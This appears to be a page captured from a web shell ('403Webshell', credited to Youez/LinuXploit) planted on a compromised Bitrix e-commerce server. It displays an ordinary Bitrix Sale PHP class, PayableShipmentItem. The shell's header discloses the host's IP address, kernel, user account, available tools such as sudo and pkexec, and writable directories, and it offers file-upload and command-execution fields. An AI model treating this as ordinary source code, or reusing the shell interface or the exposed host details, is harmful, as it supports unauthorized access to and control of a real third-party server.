403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/sale/lib/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/sale/lib/payableshipmentitem.php
<?php

namespace Bitrix\Sale;

use Bitrix\Main;
use Bitrix\Sale\Internals\CollectableEntity;

Main\Localization\Loc::loadMessages(__FILE__);

/**
 * Class PayableShipmentItem
 * @package Bitrix\Sale
 */
class PayableShipmentItem extends PayableItem
{
	public static function getRegistryEntity() : string
	{
		return Registry::ENTITY_PAYABLE_SHIPMENT;
	}

	public static function getEntityType() : string
	{
		return Registry::ENTITY_SHIPMENT;
	}

	public function getPrice(): float
	{
		/** @var Shipment $shipment */
		$shipment = $this->getEntityObject();

		if ($shipment)
		{
			return $shipment->getPrice();
		}

		return 0;
	}

	public function getEntityObject()
	{
		if ($this->item === null)
		{
			/** @var Payment $payment */
			$payment = $this->collection->getPayment();

			$this->item = $payment->getOrder()->getShipmentCollection()->getItemById(
				$this->getField('ENTITY_ID')
			);
		}

		return $this->item;
	}

	public static function create(PayableItemCollection $collection, CollectableEntity $entity)
	{
		if (!$entity instanceof Shipment)
		{
			throw new Main\SystemException(
				Main\Localization\Loc::getMessage(
					'SALE_PAYABLE_ITEM_INCOMPATIBLE_TYPE',
					['#CLASS#' => Shipment::class]
				)
			);
		}

		$item = parent::create($collection, $entity);

		$item->setFieldNoDemand('QUANTITY', 1);

		return $item;
	}

	protected function onFieldModify($name, $oldValue, $value)
	{
		if ($name === 'QUANTITY')
		{
			if ($value !== 1)
			{
				$result = new Result();

				return $result->addError(
					new Main\Error(
						Main\Localization\Loc::getMessage('SALE_PAYABLE_ITEM_SHIPMENT_QUANTITY_ERROR')
					)
				);
			}
		}

		return parent::onFieldModify($name, $oldValue, $value);
	}

	/**
	 * @return null|string
	 * @internal
	 *
	 */
	public static function getEntityEventName()
	{
		return 'SalePayableShipmentEntity';
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit